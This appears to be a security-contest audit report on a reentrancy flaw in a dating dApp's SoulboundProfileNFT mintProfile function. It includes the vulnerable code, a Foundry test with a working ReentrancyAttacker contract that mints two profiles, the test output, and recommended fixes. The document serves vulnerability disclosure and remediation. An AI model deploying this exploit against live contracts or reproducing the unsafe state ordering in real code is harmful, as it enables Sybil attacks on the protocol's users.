Summary
DatingDapp requires each user to have exactly one NFT profile, enforced by checking profileToToken[msg.sender] == 0
before minting in the SoulboundProfileNFT::mintProfile
function. However, due to unsafe state management during the minting process, attackers can exploit reentrancy to bypass this restriction and mint multiple profiles for a single address, violating the core "one profile per user" guarantee.
Vulnerability Details
Following, the code of the SoulboundProfileNFT::mintProfile
function, where the vulnerability is present.
src/SoulboundProfileNFT.sol#L29-L41
function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
_safeMint(msg.sender, tokenId);
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}
The issue lies in the following unsafe ordering:
Check if user has no profile
Mint NFT (external call via _safeMint
)
Then update profileToToken
mapping
A malicious contract can re-enter mintProfile during the _safeMint
callback, passing the initial check before state updates occur.
To confirm the presence of this issue, the following test case confirms the possibility for an attacker to obtain two NFTs representing the user's profile.
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "forge-std/console2.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "../src/SoulboundProfileNFT.sol";
contract ReentrancyTest is Test {
SoulboundProfileNFT public vulnerableProfileNFT;
function setUp() public {
vulnerableProfileNFT = new SoulboundProfileNFT();
}
function testReentrancyAllowsMultipleMints() public {
ReentrancyAttacker attacker = new ReentrancyAttacker(
address(vulnerableProfileNFT)
);
vm.deal(address(attacker), 1 ether);
console2.log("Attacker contract address:", address(attacker));
console2.log(
"Initial NFT balance:",
vulnerableProfileNFT.balanceOf(address(attacker))
);
vm.prank(address(attacker));
attacker.attack();
uint256 finalBalance = vulnerableProfileNFT.balanceOf(
address(attacker)
);
console2.log("Final NFT balance:", finalBalance);
assertEq(finalBalance, 2, "Reentrancy failed to mint multiple NFTs");
}
}
contract ReentrancyAttacker is IERC721Receiver {
SoulboundProfileNFT public target;
address public owner;
bool public reentered;
constructor(address _target) {
target = SoulboundProfileNFT(_target);
owner = address(this);
}
function attack() external {
target.mintProfile("Attacker", 30, "ipfs://malicious");
}
function onERC721Received(
address,
address,
uint256,
bytes memory
) external override returns (bytes4) {
if (!reentered && target.profileToToken(owner) == 0) {
reentered = true;
target.mintProfile("Attacker", 30, "ipfs://malicious");
}
return IERC721Receiver.onERC721Received.selector;
}
}
Expected Test Output
┌──(kali㉿kali)-[~/Tools/web3/contests/2025-02-datingdapp]
└─$ forge test --mt testReentrancyAllowsMultipleMints -vv
[⠒] Compiling...
[⠊] Installing Solc version 0.8.26
[⠢] Successfully installed Solc 0.8.26
No files changed, compilation skipped
Ran 1 test for test/ReentrancyTest.t.sol:ReentrancyTest
[PASS] testReentrancyAllowsMultipleMints() (gas: 576209)
Logs:
Attacker contract address: 0x2e234DAe75C793f67A35089C9d99245E1C58470b
Initial NFT balance: 0
Final NFT balance: 2
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 14.03ms (286.22µs CPU time)
Ran 1 test suite in 26.70ms (14.03ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Impact
Users can create multiple profiles, enabling Sybil attacks. As a result, the verification system becomes ineffective as users are able to bypass profile limitations.
Tools Used
Foundry
Recommendations
Here are some examples of how to properly fix this issue and prevent reentrancy attacks:
Apply Checks-Effects-Interactions Pattern
One of the most effective ways to mitigate reentrancy vulnerabilities is to follow the Checks-Effects-Interactions pattern. This ensures that state changes occur before any external calls, eliminating the risk of reentrant execution.
function mintProfile(...) external {
require(profileToToken[msg.sender] == 0, "Profile exists");
uint256 tokenId = ++_nextTokenId;
profileToToken[msg.sender] = tokenId;
_profiles[tokenId] = Profile(...);
_safeMint(msg.sender, tokenId);
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}
Add Reentrancy Guard
Another common and effective protection mechanism is using OpenZeppelin’s ReentrancyGuard, which prevents reentrant calls to functions by enforcing a locking mechanism.
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract SoulboundProfileNFT is ERC721, Ownable, ReentrancyGuard {
function mintProfile(...) external nonReentrant { ... }
}